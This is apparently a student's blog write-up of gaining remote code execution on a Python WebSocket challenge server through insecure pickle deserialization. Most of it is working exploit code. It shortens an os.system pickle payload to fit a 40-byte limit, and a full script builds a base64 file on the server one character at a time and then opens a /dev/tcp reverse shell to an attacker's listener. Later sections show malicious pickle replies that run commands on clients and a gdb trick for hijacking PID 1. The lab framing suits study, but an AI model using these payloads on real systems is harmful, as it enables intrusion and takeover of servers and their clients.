At the time of writing this post, I'm in school, learning about Cyber Security. We recently got an assignment to write a script that would brute force a password for a given challenge. I had experience in CTFs already, so this wasn't too hard. But looking at the code I realized a vulnerable function was used that might allow me to Remote Code Execution on the challenge! The problem was a strict character limit though, so after loads of attempts, I was finally able to get full RCE on the challenge (which wasn't intentional by the author). This post will explain my thought process and the final solution.
The Assignment
Note: The scripts are changed slightly and commented to make them simpler and easier to understand.
The assignment gives a simple docker container with a python script that accepts WebSocket connection. It reads the data and checks if the passwords are correct. If you want to follow along or try it yourself the challenge is available on docker hub, or just run the following command to download and run the server:
$ docker pull j0r1an/picklerce:latest
$ docker run -d -p 3840:3840 --name picklerce j0r1an/picklerce:latest
This container has the following script /tas/server.py
:
import asyncio, socket, traceback, websockets, pickle
class Server():
def __init__(self):
self.hostname = socket.gethostname()
self.ip = socket.gethostbyname(self.hostname)
self.port = '3840'
def run(self): # Start the server
start_server = websockets.serve(self.server, self.ip, self.port, )
print('starting up the server on {} port {}'.format(self.ip, self.port))
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
async def server(self, websocket, path): # On new connection
async for message in websocket:
# Unpack message
try:
# Read message and pass to core methods
reply = await self.process_input(message)
reply = pickle.dumps(reply)
except Exception as err:
print("err", err, traceback.format_exc())
await websocket.send(reply)
async def process_input(self, request): # Check credentials
try:
if len(request) > 40:
return 'ERROR: Too much data'
username, password = pickle.loads(request)
if username == "j0r1an" and password == "hunter2":
return 'ACCESS GRANTED'
else:
return 'Wrong username or password!'
except Exception as err:
print('ERROR: Error in processing input: {} {}\
\
Please stick to the provided format.'.format(type(err).__name__, traceback.format_exc()))
return 'Error'
ServerThread = Server()
ServerThread.run()
We were also given a starting point for the attacking script. This simply contains a function to connect to the server and try a username and password.
import asyncio, websockets
import pickle
from time import sleep
async def client_connect(username, password):
while True:
try:
async with websockets.connect("ws://127.0.0.1:3840") as websocket:
await websocket.send(pickle.dumps([username,password]))
reply = await websocket.recv()
return pickle.loads(reply)
except:
continue
def call_server(username, password):
reply = asyncio.get_event_loop().run_until_complete(client_connect(username,password))
sleep(0.001)
return reply
# Test basic server connectivity & functionality
print(call_server('user', 'pass'))
print(call_server('j0r1an', 'hunter2'))
Pickle Deserialization
Looking at the server script we can see that the pickle.loads()
function is used to deserialize the data. This takes a string and returns a python object, useful for sending complex data structures. The problem here is the fact that pickle
is vulnerable to Remote Code Execution if this data is controlled by the user, which in this case it is. This can be found easily by looking at the security warning in the official documentation:
When deserializing using pickle
, a __reduce__()
method is called. This method returns a tuple of the form (function, args)
. function
is the function that will be called to reconstruct the object. args
is a tuple of arguments that will be passed to the function. This reduce method gets called when deserializing on the server-side, meaning we can let the server call any function we want with any arguments. This is a huge vulnerability because we can use something like os.system()
to execute arbitrary commands on the server.
To exploit a vulnerability like this, you need to make a class with this __reduce__()
method. Then make this method return the function and arguments you want to execute anything on the server. Here is an example that would execute id
on the server:
class RCE:
def __reduce__(self):
import os
return (os.system, ("id",))
data = pickle.dumps(RCE())
call_server(data)
With this exploit we are not sending a username or password, so we'll need to change the send function a bit to allow us to send any form of data.
async def client_connect(data):
while True:
try:
async with websockets.connect("ws://127.0.0.1:3840") as websocket:
await websocket.send(data)
reply = await websocket.recv()
return pickle.loads(reply)
except:
continue
def call_server(data):
reply = asyncio.get_event_loop().run_until_complete(client_connect(data))
sleep(0.001)
return reply
This will actually run the id
command on the server, but the problem comes when we want to send longer commands. If we check the len(data)
we can see that this command is exactly 40 characters long. This is a problem because the server will only accept payloads of 40 characters or less. This means we need to use some tricks to make space for longer commands.
Expanding the character limit
Using pickletools.dis(data)
we can display the pickle data in a human-readable format. This is useful for debugging.
0: \x80 PROTO 4
2: \x95 FRAME 29
11: \x8c SHORT_BINUNICODE 'posix'
18: \x94 MEMOIZE (as 0)
19: \x8c SHORT_BINUNICODE 'system'
27: \x94 MEMOIZE (as 1)
28: \x93 STACK_GLOBAL
29: \x94 MEMOIZE (as 2)
30: \x8c SHORT_BINUNICODE 'id'
34: \x94 MEMOIZE (as 3)
35: \x85 TUPLE1
36: \x94 MEMOIZE (as 4)
37: R REDUCE
38: \x94 MEMOIZE (as 5)
39: . STOP
Here we can see that pickle contains our posix
(os), system
and the id
command. But surrounding it, there is quite a lot of extra data to specify the format. After looking around in the pickle documentation I found that there are multiple protocols you can use. In the pickle.dumps()
function we can specify a protocol=
keyword argument to specify the protocol. This is a number between 0 and 5. Looking at all of these protocols the payload can get a lot shorter:
protocol=0 protocol=1 (shortest) protocol=2 protocol=3 protocol=4 (default)
0: c GLOBAL 'posix system' 0: c GLOBAL 'posix system' 0: \x80 PROTO 2 0: \x80 PROTO 3 0: \x80 PROTO 5
14: p PUT 0 14: q BINPUT 0 2: c GLOBAL 'posix system' 2: c GLOBAL 'posix system' 2: \x95 FRAME 29
17: ( MARK 16: ( MARK 16: q BINPUT 0 16: q BINPUT 0 11: \x8c SHORT_BINUNICODE 'posix'
18: V UNICODE 'id' 17: X BINUNICODE 'id' 18: X BINUNICODE 'id' 18: X BINUNICODE 'id' 18: \x94 MEMOIZE (as 0)
22: p PUT 1 24: q BINPUT 1 25: q BINPUT 1 25: q BINPUT 1 19: \x8c SHORT_BINUNICODE 'system'
25: t TUPLE (MARK at 17) 26: t TUPLE (MARK at 16) 27: \x85 TUPLE1 27: \x85 TUPLE1 27: \x94 MEMOIZE (as 1)
26: p PUT 2 27: q BINPUT 2 28: q BINPUT 2 28: q BINPUT 2 28: \x93 STACK_GLOBAL
29: R REDUCE 29: R REDUCE 30: R REDUCE 30: R REDUCE 29: \x94 MEMOIZE (as 2)
30: p PUT 3 30: q BINPUT 3 31: q BINPUT 3 31: q BINPUT 3 30: \x8c SHORT_BINUNICODE 'id'
33: . STOP 32: . STOP 33: . STOP 33: . STOP 34: \x94 MEMOIZE (as 3)
len(data)=34 len(data)=33 len(data)=34 len(data)=34 35: \x85 TUPLE1
36: \x94 MEMOIZE (as 4)
37: R REDUCE
38: \x94 MEMOIZE (as 5)
39: . STOP
len(data)=40
Here we can see that protocol=1
is the shortest, with a total of only 33 characters. This means we can add 7 more characters before we reach our limit of 40 again. So now the question is, can we do anything with 9 characters in bash?
Long story short, not really (that I know of). But we might still be able to do a little better in the pickle format. Something weird to me was the fact that posix system
is passed when using os.system()
. I expected to just see os
instead of posix
. At some point I thought to myself, what if I just used os system
in the pickle payload, maybe the server will figure it out still? So that's what I did. Taking the raw payload, and just replacing posix
with os
:
class RCE:
def __reduce__(self):
import os
return (os.system, ("id",))
data = pickle.dumps(RCE(), protocol=1)
data = data.replace(b"posix", b"os") # <-- Replacing 'posix system' with 'os system'
pickletools.dis(data)
call_server(data)
And sending this to the server, it still worked to my surprise! This means another 3 characters were shaved off, and now we have a total of 12 characters to work with. This turned out to be exactly enough to get full RCE.
Bash Tricks
Now that we have 12 characters to execute bash commands, we can get started on some ideas to execute any commands we want, like a reverse shell. 12 characters might sound like a lot, but you'll notice it's way less than you might think.
One idea I had was to somehow create a script character by character and then execute all of it at the end. We can use something like echo a >s
(9) to put an a
character in the file called s
. Then we can use echo b >>s
(10) to append the b
character to the s
file. This allows us to slowly build up a script character by character. One problem though is the fact that newlines get added every time we use echo
. Not many languages allow for newlines everywhere, so we need to think of something else.
After a while, I thought of using base64
, because the command-line tool in Linux allows for any whitespace or newlines in between, and will just ignore it. Another plus is that all the characters we need to send are in the base64 alphabet, so we don't have to worry about quotes and other special characters.
Results in a file s
with the following content:
We can easily build the whole file we want, but now we just need to decode it into the script we want to execute. Normally you would use something like base64 -d s>d
(13) to decode the file, but since we can only use a max of 12 character commands, this is barely too long. The problem is the fact that base64
is a relatively long command name. If we could somehow rename this command to something shorter, we could use it to decode the file.
I tried to use variables or aliases, but unfortunately, these get cleared every time we execute a new command. So we can't use these to shorten future commands. But as you likely know, most commands are just Linux binaries stored on the filesystem. On the server, base64
is located at /usr/bin/base64
(15). This might not seem useful because it's too long, but we can move this file into a closer directory, so we can execute it with a shorter name. But to move this, we need to specify the location from where it needs to grab the file. /usr/bin/base64
is way too long, but we can use some bash tricks to shorten it. Using the *
wildcard character, we can do something like /*/*/*4
(7) to get all files two directories deep, ending in 4
. This will include a couple of other files that we don't need, but we can just ignore them. So using cp /*/*/*4 /
(12) we can copy the base64
binary to the root directory.
After this, we have the base64
binary in /
. We can now rename it to something like b
to shorten it. We can use more bash wildcards (*
) to accomplish this: cp /b*4 /b
(10). This will make /b
the new base64
binary.
After all this, we can now decode the script using /b -d s>d
(9). This will create the d
file which is the base64 decoded form of the script, meaning it can contain any code we want. If we make this a bash script, we can eventually execute it using bash d
.
All combined the commands we need to execute are the following:
cp /*/*/*4 / # Copy base64 binary to root directory
cp /b*4 /b # Rename base64 binary to b
/b -d s>d # Decode script
bash d # Execute script
Full RCE on the Server
It's very tedious to write the base64 script character by character, so using Python I automated this. This code takes a bash script, and puts it into a file on the server character by character, then decodes it, and finally executes the script.
import asyncio, websockets
import pickle
import pickletools
from base64 import b64encode
from time import sleep
import sys
if len(sys.argv) <= 2:
print(f"Usage: python3 {sys.argv[0]} <remote> <local>")
exit(1)
else:
rhost, rport = sys.argv[1].split(":")
lhost, lport = sys.argv[2].split(":")
print(f"[ ] Remote: {rhost} {rport}")
print(f"[ ] Local: {lhost} {lport}")
# Create script to run
script = f"""
echo "Pwned by J0R1AN :)" > /tmp/pwned
/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
""".encode()
base64script = b64encode(script).replace(b"=", b"").decode()
async def connect(data):
server_address = f"ws://{rhost}:{rport}"
while True:
try:
async with websockets.connect(server_address) as websocket:
await websocket.send(data)
reply = await websocket.recv()
return reply
except:
continue
def send(data):
reply = asyncio.get_event_loop().run_until_complete(connect(data))
sleep(0.001)
return reply
def run(command): # Run an os command with pickle insecure deserialization
class RCE:
def __reduce__(self):
import os
return (os.system, (command,))
data = pickle.dumps(RCE(), protocol=1)
data = data.replace(b"posix", b"os")
return send(data)
# Remove old files
print("[~] Removing old files...")
run("rm s b d") # s = script, b = base64, d = decoded
# Send script character by character
print("[~] Sending ", end="")
for c in base64script:
print(c, end="")
sys.stdout.flush()
run(f"echo {c} >>s")
print()
# Execute script
print("[~] Executing script...")
run("cp /*/*/*4 /")
run("cp /b*4 /b")
run("/b -d>d<s") # Decode base64
pickletools.dis(run("bash d")) # Execute script, and show response
print("[+] Done!")
This script accepts a remote host, and the address the server is going to connect to with the reverse shell. Something like python rce.py 127.0.0.1:3840 6.tcp.ngrok.io:15531
will connect to the ngrok server that you set up with a listener (nc -lnvp 4444
).
RCE on the Clients
As if Remote Code Execution was not enough, we can also exploit the same vulnerability on the clients. Because in the template script we needed to use for the assignment, pickle.loads()
gets called on the reply from the server.
async def client_connect(username, password):
while True:
try:
async with websockets.connect("ws://127.0.0.1:3840") as websocket:
await websocket.send(pickle.dumps([username,password]))
reply = await websocket.recv()
return pickle.loads(reply) # <-- Insecure deserialization
except:
continue
Normally this wouldn't be such an issue because we can trust the server, but in this case, where the server is compromised an attacker can replace the running script with one that will send a malicious response back to the client.
If we take the server script, we can alter the process_input()
function to always reply with an RCE payload. This proof of concept just executes calc.exe
to open a calculator on the client, but this could of course be any commands you want to execute.
class RCE:
def __reduce__(self):
import os
return (os.system, ('echo "Pwned by J0R1AN :)" && calc.exe',))
async def process_input(self, request):
return RCE()
Now we just need to get this script running on the server, which turned out to be a little difficult. Because if we just run the script as-is, it will give an error because the 3840 port is already in use. So we somehow need to stop the already running script, and then start our new one.
The hard part is, if we just kill
the script, the whole docker container gets killed because the main process stopped. A way to get around this would be to replace the running process with something like sleep 999999
to make sure it stops the python script but keeps the main process running.
Looking at the running processes, we can see the process with PID 1
which is running /bin/sh
with the python script running. This is the process docker is waiting on, so we can't directly kill it. Below we also see the python3
process with the script. This is the thing we need to kill.
$ ps alx
F UID PID PPID TIME COMMAND
4 0 1 0 0:00 /bin/sh -c python3 /tas/server.py
4 0 8 1 0:00 python3 /tas/server.py
...
But again, to make sure the docker container stays alive we need to replace process 1 with a sleep
command. After looking around a bit online, I found the following script to do this (Source).
#!/bin/sh
set -e
help_and_exit () {
cat <<EOF
Usage: $0 PID COMMAND [ARG...]
Use gdb to replace the running process PID by the specified command.
EOF
exit $1
}
if [ "$1" = "--help" ]; then
help_and_exit
elif [ $# -lt 2 ]; then
help_and_exit 120 >&2
fi
pid=$1; shift
# Quote the command path and the arguments as a C string.
args=
add_arg () {
args="$args\""
while case "$1" in *[\\\"]*) true;; *) false;; esac; do
set -- "${1#*[\\\"]}" "${1%"${1#*[\\\"]}"}"
args="$args${2%?}\\${2#"${2%?}"}"
done
args="$args$1\", "
}
add_arg "$1"
args="$args$args"; shift
for x; do
add_arg "$x"
done
args="${args}(char*)0"
gdb -n -pid "$pid" -batch -ex "call execlp($args)"
We can use this script like bash replace.sh PID COMMAND [ARG...]
to replace the process with the specified command. In our case, this would be bash replace.sh 1 sleep 999999
. This will open the process in GDB, replaced with the sleep
command. But to continue our exploit we need to detach from it and keep the process running. A way to do this is to run the first replace.sh
script in the background using &
at the end. Then we can kill the gdb
process we created to detach it.
If we check ps
again, we can see the main process is replaced with the sleep
command.
$ ps alx
F UID PID PPID TIME COMMAND
4 0 1 0 0:00 sleep 999999
4 0 8 1 0:17 python3 /tas/server.py
0 0 7120 1 0:00 [bash] <defunct>
1 0 7137 1 0:00 [gdb] <defunct>
...
Now we can easily kill the python script without shutting down the server and run our own.
One last thing is how we might get these scripts replace.sh
and server_new.py
on the server. One simple way is to encode them in base64, and then just decode them into a file like this:
echo "cmVwbGFjZS5zaA==" | base64 -d > /replace.sh
echo "c2VydmVyX25ldy5weQ==" | base64 -d > /server_new.py
Conclusion
All of this together means that an attacker can compromise the server with the Remote Code Execution, replace the running script with one that will send a malicious response back to the client, and then compromise anyone trying to connect to the server.
It was a lot of fun trying to get this working because I knew it was vulnerable, but I wasn't sure if it was actually exploitable. Turns out it was and after hours of trying ideas, I was able to get it working.